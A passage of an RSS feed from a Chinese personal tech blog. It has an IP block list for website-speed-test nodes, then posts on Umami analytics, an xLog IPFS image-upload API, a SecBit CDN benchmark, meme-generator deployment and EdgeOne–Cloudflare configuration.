38.175.121.129
213.156.136.76
45.11.105.149
5.78.52.50
180.149.44.87
38.175.122.129
37.143.128.230
209.209.57.133
89.43.111.60
103.208.86.58
213.156.137.109
45.91.92.175
194.156.155.253
185.194.53.117
38.175.112.134
103.213.245.15
91.148.135.223
102.130.48.128
85.215.117.222
102.130.49.151
5.188.6.10
63.250.61.72
45.150.243.145
45.126.125.125
103.117.100.75
87.121.99.217
36.139.22.48
173.245.48.0/20
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
141.101.64.0/18
108.162.192.0/18
190.93.240.0/20
188.114.96.0/20
197.234.240.0/22
198.41.128.0/17
162.158.0.0/15
104.16.0.0/13
104.24.0.0/14
172.64.0.0/13
131.0.72.0/22
1.14.231.0/24
1.194.174.0/24
1.56.100.0/24
1.71.146.0/23
1.71.88.0/24
101.226.85.128/25
101.33.195.0/24
101.33.222.0/24
101.42.63.0/24
101.71.100.0/23
101.71.105.0/24
101.72.227.0/24
111.12.215.0/24
111.20.28.0/23
111.20.30.0/24
111.22.252.0/24
111.29.14.0/24
111.31.238.0/24
111.4.224.0/23
111.42.114.0/24
111.51.158.0/24
111.6.217.0/24
111.6.218.0/24
111.62.160.0/24
112.13.210.0/24
112.29.209.0/24
112.46.51.0/24
112.49.30.0/23
112.49.69.0/24
112.64.213.0/24
112.84.131.0/24
112.90.154.0/24
113.125.206.0/24
113.142.27.0/24
113.194.51.0/24
113.200.123.0/24
113.201.154.0/24
113.201.158.0/24
113.219.202.0/23
113.240.66.0/24
113.240.91.0/24
113.59.44.0/24
114.230.198.0/24
114.237.67.0/24
114.66.246.0/23
114.66.250.0/24
115.150.39.0/24
116.136.15.0/24
116.153.83.0/24
116.153.84.0/23
116.162.152.0/23
116.169.184.0/24
116.172.74.0/24
116.177.240.0/24
116.178.78.0/24
116.196.152.0/23
116.207.184.0/24
116.253.60.0/24
117.139.140.0/24
117.147.229.0/24
117.147.230.0/23
117.161.38.0/24
117.161.86.0/24
117.162.50.0/23
117.162.61.0/24
117.163.59.0/24
117.187.145.0/24
117.40.82.0/24
117.44.77.0/24
117.69.71.0/24
117.85.64.0/23
117.85.66.0/24
119.188.140.0/24
119.188.209.0/24
119.36.225.0/24
119.84.242.0/24
119.91.175.0/24
120.221.164.0/24
120.221.181.0/24
120.221.238.0/24
120.226.27.0/24
120.232.126.0/24
120.232.97.0/24
120.233.185.0/24
120.233.186.0/23
120.233.43.0/24
120.240.100.0/24
120.240.94.0/24
122.192.132.0/24
122.246.0.0/24
122.246.30.0/23
123.125.3.0/24
123.138.25.0/24
123.172.121.0/24
123.182.162.0/24
123.6.40.0/24
124.225.117.0/24
124.225.161.0/24
124.225.72.0/24
124.238.112.0/24
124.72.128.0/24
125.76.83.0/24
125.94.247.0/24
125.94.248.0/23
14.116.174.0/24
14.205.93.0/24
150.139.230.0/24
175.43.193.0/24
175.6.193.0/24
182.140.210.0/24
182.247.248.0/24
183.131.59.0/24
183.136.219.0/24
183.192.184.0/24
183.201.109.0/24
183.201.110.0/24
183.230.68.0/24
183.253.58.0/24
183.255.104.0/24
183.47.119.128/25
183.61.174.0/24
211.136.106.0/24
211.97.84.0/24
219.144.88.0/23
219.144.90.0/24
220.197.201.0/24
221.204.26.0/23
221.5.96.0/23
222.189.172.0/24
222.79.116.0/23
222.79.126.0/24
222.94.224.0/23
223.109.0.0/23
223.109.2.0/24
223.109.210.0/24
223.113.137.0/24
223.221.177.0/24
223.247.117.0/24
27.44.206.0/24
36.131.221.0/24
36.142.6.0/24
36.147.58.0/23
36.150.103.0/24
36.150.72.0/24
36.158.202.0/24
36.158.253.0/24
36.159.70.0/24
36.189.11.0/24
36.248.57.0/24
36.249.64.0/24
36.250.235.0/24
36.250.238.0/24
36.250.5.0/24
36.250.8.0/24
39.173.183.0/24
42.177.83.0/24
42.202.164.0/24
42.202.170.0/24
43.136.126.0/24
43.137.230.0/23
43.137.87.0/24
43.137.88.0/22
43.138.125.0/24
43.141.10.0/23
43.141.109.0/24
43.141.110.0/24
43.141.131.0/24
43.141.132.0/24
43.141.49.0/24
43.141.50.0/24
43.141.52.0/24
43.141.68.0/23
43.141.70.0/24
43.141.9.0/24
43.141.99.0/24
43.142.196.0/24
43.142.205.0/24
43.145.16.0/22
43.145.44.0/23
49.119.123.0/24
49.7.250.128/25
58.144.195.0/24
58.212.47.0/24
58.217.176.0/22
58.222.36.0/24
58.250.127.0/24
58.251.127.0/24
58.251.87.0/24
59.55.137.0/24
59.83.206.0/24
60.28.220.0/24
61.161.0.0/24
61.170.82.0/24
61.240.216.0/24
61.240.220.0/24
61.241.148.0/24
61.49.23.0/24
81.71.192.0/23
101.33.0.0/19
162.14.40.0/21
43.132.64.0/19
43.152.0.0/18
43.152.128.0/18
43.159.64.0/18
107.155.58.0/24
110.238.81.0/24
110.238.84.0/24
116.103.105.0/24
116.103.106.0/24
116.206.195.0/24
119.160.60.0/24
128.1.102.0/24
128.1.106.0/24
128.14.246.0/24
129.227.189.0/24
129.227.213.0/24
129.227.246.0/24
13.244.60.0/24
13.246.171.0/24
13.246.201.0/24
15.220.184.0/24
15.220.187.0/24
150.109.190.0/23
150.109.192.0/24
150.109.222.0/23
154.223.40.0/24
156.227.203.0/24
156.229.29.0/24
156.240.62.0/24
156.251.71.0/24
158.79.1.0/24
161.49.44.0/24
171.244.192.0/23
175.97.130.0/23
175.97.175.0/24
181.78.96.0/24
203.205.136.0/23
203.205.191.0/24
203.205.193.0/24
203.205.220.0/23
203.96.243.0/24
211.152.128.0/23
211.152.132.0/23
211.152.148.0/23
211.152.154.0/23
23.236.104.0/24
23.236.99.0/24
3.105.21.0/24
3.24.201.0/24
31.171.99.0/24
38.52.124.0/24
38.60.181.0/24
42.115.108.0/24
43.155.126.0/24
43.155.149.0/24
43.174.0.0/15
49.51.64.0/24
54.94.99.0/24
62.201.197.0/24
63.32.163.0/24
72.255.2.0/24
81.21.9.0/24
84.54.102.0/24
86.51.92.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;调用脚本更新规则&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3b44fed2-5dda-4dec-a009-8618b18370ee.CTdGpfUa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/c9fa44c0-c313-47b1-8b03-804b2b4324b9.Crmx_Jt6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后 &lt;code&gt;Review Changes&lt;/code&gt; 并且 &lt;code&gt;Publish&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/aada66d2-b090-4959-b031-cbdb738def50.CxqVNmex.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/831bf953-5895-4a62-894c-ab8b24dc8697.BATha-WF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;ITDog测试&lt;/h1&gt;
&lt;p&gt;大部分测试节点已经403&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/127a5bc0-6504-4c98-a573-1e3da60b9c8e.DMJ78-63.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;有什么用?&lt;/h1&gt;
&lt;p&gt;纯好玩 纯闲着没事干 汐汐 有空点下&lt;a href=&quot;https://www.afo.im/posts/pin&quot;&gt;&lt;/a&gt;来加群或者下方评论吧!&lt;/p&gt;
</content:encoded></item><item><title>让你的网站对接高级的Umami统计</title><link>https://blog.acofork.com/posts/umami/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami/</guid><description>Umami是一个站点统计服务只需要插入一行js即可获得高效易读可观察性的站点统计</description><pubDate>Sun, 06 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本教程针对于Umami Cloud的上手使用如果你需要自托管Umami请自行寻找相关文档&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 https://umami.is/ 如果进不去请检查是否有广告拦截器拦截了Umami&lt;/p&gt;
&lt;p&gt;点击右上角的 &lt;code&gt;Sign UP&lt;/code&gt; 注册账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3486d3c9-ab00-46d2-b8bf-4916fe8045bf.B1laX9zI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按需填写相关信息进行注册&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/adcb3e73-bd1d-4c6d-9ad2-c6ba2b17441d.DAAx_jtx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f6ff9d8a-e281-4f36-a917-686264479a5d.Jj04mmyO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后检查你的邮箱是否收到了Umami的邮箱验证消息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/50877413-0dcf-4229-b388-dc0ae4634414.DhX_5Lwx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击 &lt;code&gt;Login&lt;/code&gt; 进行登录,填入验证码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/29321cee-f0a7-4d3b-9d1b-b507d34d3958.DvrM19Uk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;区域选择任意(选美国你的统计数据就记录在美国的服务器,选欧盟你的统计数据就记录在欧盟的服务器)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e7d5daaa-032a-4587-bd68-3d4194e88555.eZ3okjoS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用户配置随便填写即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b22a2c6b-43a0-4da8-b7f7-25b58f9118e7.CXnbuhc3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续填写你要统计的网站&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/bf3b74be-26d7-4618-8b22-72cab03ec22f.DnnajDiJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将跟踪代码插入到你的网站的 &lt;code&gt;&amp;lt;head&amp;gt;Umami跟踪代码&amp;lt;/head&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e58f4825-573c-4faf-8619-79c5eb194abe.sn5PUscY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们就进入Umami控制台了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/6318e324-5a2a-47c8-8ab9-982131f2eb5b.ZPGF5hdi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击 &lt;code&gt;View&lt;/code&gt; 就能看到你的网站统计啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/8ab369ca-767e-4783-a38f-35f8ae59c654.CO7GGrFt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注:右上角可以改为中文&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9f32167c-d522-41a2-805b-202a97e91dfe.P0BIVe3M.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;建议打开设置启用分享URL这样你的用户就可以实时看到你的站点流量啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/21681684-8a26-4d15-8d3e-c51183febaf0.DTQKuXcE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;p&gt;Umami Cloud对于免费用户限制3个站点&lt;/p&gt;
&lt;p&gt;免费版月事件数为10w本人博客感觉不够用已经自建了教程可以看我b站没有就是没发 &lt;s&gt;来拷打我&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d574dbd5-f095-469a-9db6-da7fdfdc08c2.BDLlEBtI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>分享一个IPFS图片API</title><link>https://blog.acofork.com/posts/ipfs-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ipfs-api/</guid><description>很早前我就用过xLog这次逆向出了它的图床API可以用来暂时存放图片</description><pubDate>Fri, 04 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;该API为&lt;a href=&quot;https://xlog.app&quot;&gt;xLog&lt;/a&gt;的图床API&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;POST https://ipfs-relay.crossbell.io/upload&lt;/p&gt;
&lt;p&gt;头无鉴权&lt;/p&gt;
&lt;p&gt;body使用 &lt;code&gt;from-data&lt;/code&gt; key为 &lt;code&gt;file&lt;/code&gt; vlaue选择一个图片文件不宜太大会报错&lt;/p&gt;
&lt;p&gt;示例Curl&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://ipfs-relay.crossbell.io/upload&apos; \
--form &apos;file=@&quot;/C:/Users/AcoFork/Pictures/b_53bb4f7fa91d684e72b666504e3fcc1897.jpg&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会返回&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;status&quot;: &quot;ok&quot;,
&quot;cid&quot;: &quot;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&quot;,
&quot;url&quot;: &quot;ipfs://QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&quot;,
&quot;web2url&quot;: &quot;https://ipfs.crossbell.io/ipfs/QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&quot;,
&quot;fileSize&quot;: &quot;77199&quot;,
&quot;gnfd_id&quot;: null,
&quot;gnfd_txn&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中, &lt;code&gt;web2url&lt;/code&gt; 就是可以直接访问的URL无CORS限制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/Qmb7hj9NHf9XdSZQ2dsqcSUpdrTuhjbpKJsTqG84X7rFqw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>测评一下SecBit MCDN HK区域的质量</title><link>https://blog.acofork.com/posts/secbit/</link><guid isPermaLink="true">https://blog.acofork.com/posts/secbit/</guid><description>在我哥们的帮助下也是成功通过我的博客拿到了Secbit的免费MCDN服务再见EdgeOne</description><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;官网&lt;/h1&gt;
&lt;p&gt;https://secbit.ai&lt;/p&gt;
&lt;h1&gt;测试节点信息&lt;/h1&gt;
&lt;p&gt;安徽合肥移动家宽(本人电脑)&lt;/p&gt;
&lt;h1&gt;PostMan GET测试&lt;/h1&gt;
&lt;p&gt;测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到&lt;/p&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5eaa947d-9363-4eac-b375-0c3830614571.CRIMXK-E.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e1986e03-7b69-467a-92f0-cea88c118924.BnimZAMH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;ITDog Tcping测试&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/6c8efb56-4fe8-44d5-82e2-45ca063014b1.ClplzbTb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/a4654458-3b03-4ec3-9cfc-9d94615abaf9.OTZWESed.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;ITDog 网站测速&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2bb7aee3-9ae7-48e8-bef7-37dbe0c8818c.BVOhSb89.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1a9a1ce4-720f-48dc-8fb7-8a9822caed68.BYBCMkWg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;大文件下载&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/6887e3eb-59cf-41ce-bda4-31b0ffc87c5a.DEteknDb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3328a47b-417a-4ba0-b3b8-5013c1ef89bf.Ct26orHj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;Secbit相较于Cloudflare对于大陆直连更为友好延迟更低、带宽更大。唯一的缺点就是直接买很贵也建议大家可以多多写博客&lt;strong&gt;网站月ip达到3k可以看置顶文章加群联系我帮你申请&lt;/strong&gt;争取早日拿到属于你们的Secbit😋&lt;/p&gt;
</content:encoded></item><item><title>meme-generator部署指南以及对接Koishi</title><link>https://blog.acofork.com/posts/meme-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/meme-api/</guid><description>很早之前我就很好奇那些用群友的头像做的表情包真的是人工p的吗实则不然</description><pubDate>Mon, 30 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;视频教程: https://www.bilibili.com/video/BV1i53PzUEzE/&lt;/p&gt;
&lt;h2&gt;后端部署&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Github https://github.com/MemeCrafters/meme-generator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装依赖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install -U &quot;meme_generator&amp;lt;0.2.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/MemeCrafters/meme-generator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆额外表情仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/MemeCrafters/meme-generator-contrib
git clone https://github.com/anyliew/meme_emoji
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前往 &lt;code&gt;~/.config/meme_generator/config.toml&lt;/code&gt; 填入配置文件。并且填入刚刚克隆的额外表情仓库: &lt;code&gt;meme_dirs&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[meme]
load_builtin_memes = true # 是否加载内置表情包
meme_dirs = [&quot;/root/meme-api/meme-generator-contrib/memes&quot;, &quot;/root/meme-api/meme_emoji/emoji&quot;] # 加载其他位置的表情包,填写文件夹路径
meme_disabled_list = [] # 禁用的表情包列表,填写表情的 `key`
[resource]
# 下载内置表情包图片时的资源链接,下载时选择最快的站点
resource_urls = [
&quot;https://raw.githubusercontent.com/MemeCrafters/meme-generator/&quot;,
&quot;https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/&quot;,
&quot;https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@&quot;,
&quot;https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@&quot;,
&quot;https://raw.gitmirror.com/MemeCrafters/meme-generator/&quot;,
]
[gif]
gif_max_size = 10.0 # 限制生成的 gif 文件大小,单位为 Mb
gif_max_frames = 100 # 限制生成的 gif 文件帧数
[translate]
baidu_trans_appid = &quot;&quot; # 百度翻译api相关表情包 `dianzhongdian` 需要使用
baidu_trans_apikey = &quot;&quot; # 可在 百度翻译开放平台 (http://api.fanyi.baidu.com) 申请
[server]
host = &quot;127.0.0.1&quot; # web server 监听地址
port = 2233 # web server 端口
[log]
log_level = &quot;INFO&quot; # 日志等级
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m meme_generator.app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到以下日志即运行成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/meme-api/meme-generator# python3 -m meme_generator.app
Fontconfig warning: &quot;/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf&quot;, line 6: unknown element &quot;reset-dirs&quot;
06-30 05:32:45 [INFO] meme_generator.log | Config file path: /root/.config/meme_generator/config.toml
06-30 05:32:48 [INFO] logging | Started server process [3363901]
06-30 05:32:48 [INFO] logging | Waiting for application startup.
06-30 05:32:48 [INFO] logging | Application startup complete.
06-30 05:32:48 [INFO] logging | Uvicorn running on http://127.0.0.1:2233 (Press CTRL+C to quit)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;前端对接&lt;/h2&gt;
&lt;p&gt;Koishi插件市场安装此插件的1.0.3版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/47f3db05-48bf-4382-817b-7a2b733dcd72.BaFexaBj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3ffb0585-eb36-46fe-b32a-0162514e6e63.yQnWmfWR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;启用插件。可以看到 &lt;code&gt;插件初始化完毕,共载入 455 个表情。&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/50da2a0d-7e49-491a-bad3-d9fde22a9df6.QWPOtW1j.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;向Bot发送 &lt;code&gt;表情列表&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ed053d82-535e-47af-ac17-b27025d25dab.DgKmoZHv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成表情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/572c88c4-301b-4048-81bf-fcbb70d4064e.C692bi27.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>EdgeOne + Cloudflare我们天下无敌</title><link>https://blog.acofork.com/posts/eo-cf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-cf/</guid><description>EdgeOne的低延迟+Cloudflare的强大业务我都不敢想这有多爽</description><pubDate>Fri, 27 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;主播也是搞到了EdgeOne免费版激活码了终于可以大展宏图了😋&lt;/p&gt;
&lt;h1&gt;我怎么换到EdgeOne免费版&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://edgeone.ai/zh/redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;推荐直接发推,按照要求发&lt;/p&gt;
&lt;p&gt;发完后私信EO官方即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9ccbf7c1-6006-45f6-a9f4-e1979df8b12b.nUkOqU0Q.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;默认EdgeOne给的Anycast CNAME过于垃圾&lt;/h1&gt;
&lt;p&gt;默认在EO添加域名EO会发给你一个类似 &lt;code&gt;afo.im.eo.dnse4.com&lt;/code&gt; 这样的CNAME&lt;/p&gt;
&lt;p&gt;也就是 &lt;code&gt;你的域名.eo.dnse4.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;emm 这玩意吧 你们自己看速度吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/33a0b34f-d36f-4214-bcf3-616f9b174630.BbS0ASqQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我推荐大家使用 &lt;code&gt;43.174.150.150&lt;/code&gt; 。是一个中国香港的三网优化IP。速度如下。&lt;strong&gt;本人EdgeOne优选&lt;/strong&gt; &lt;code&gt;eo.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ab4cfd6f-ef23-4670-8577-02850f372124.UWbQiH32.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;换了CNAME后无法自动申请免费SSL&lt;/h1&gt;
&lt;p&gt;如果你将你的域名托管给EO并且没有用EO给你的CNAME则这个选项不可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d81050d7-5d58-4b80-92d9-bf1e07285544.DUGSYh4u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台就像这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/59cf2a66-2717-4291-b027-6cd2f270ece4.HAGwpMLh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;EdgeOne怎么做重定向&lt;/h1&gt;
&lt;p&gt;在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/8f31d55f-4d0b-4209-935b-c2ec7924846c.DOs4fHbZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5ca74214-b4d0-4ac1-9fab-06d3096a5f7e.C9mrZ1r2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EO边缘函数也支持重定向支持更细化的重定向规则&lt;/p&gt;
&lt;p&gt;但是这玩意记录请求数不如用Cloudflare的重定向规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2853531b-a57f-4b20-a8ec-98c0ca433604.Dr2xhxms.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先我们在CF写这样一个规则
&lt;img src=&quot;https://blog.acofork.com/_astro/ac9afee9-a368-4e10-a2a9-045e8672d636.DdTHXl7W.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/08445fb0-892a-4793-a359-6cfc3194dbce.BHWoxpi9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着配置EO回源这里一定要使用加速域名作为回源Host头&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/4911f0ca-86a0-42d3-90cf-ad2434f782ae.C25hk172.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原理:用户 - EO - CF - CF识别到Host匹配重定向规则 - 301&lt;/p&gt;
&lt;h1&gt;EdgeOne反代一切&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;大部分情况将 &lt;code&gt;回源HOST头&lt;/code&gt; 改为源站就能解决反代后网站无法访问的问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-00-41-image.BGHvzKM1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>关于我折腾了一晚上 EdgeOne</title><link>https://blog.acofork.com/posts/edgeone/</link><guid isPermaLink="true">https://blog.acofork.com/posts/edgeone/</guid><description>本来对EdgeOne不感兴趣的但是后来被引诱说没备案可以用国内节点虽然好像当事者是开玩笑但是节点速度真的不错</description><pubDate>Sun, 22 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是个啥?&lt;/h1&gt;
&lt;p&gt;在我的&lt;a href=&quot;/posts/static-web&quot;&gt;早期文章&lt;/a&gt;中提过EdgeOne当时它还仅有Page业务而且IP是很垃圾的新加坡并且还会吞提交。故我当时给出了不如Cloudflare Page的评价&lt;/p&gt;
&lt;p&gt;不过这玩意最近出了CDN业务并且还是免费。所以我又重拾起来了&lt;/p&gt;
&lt;h1&gt;我要怎么用上?&lt;/h1&gt;
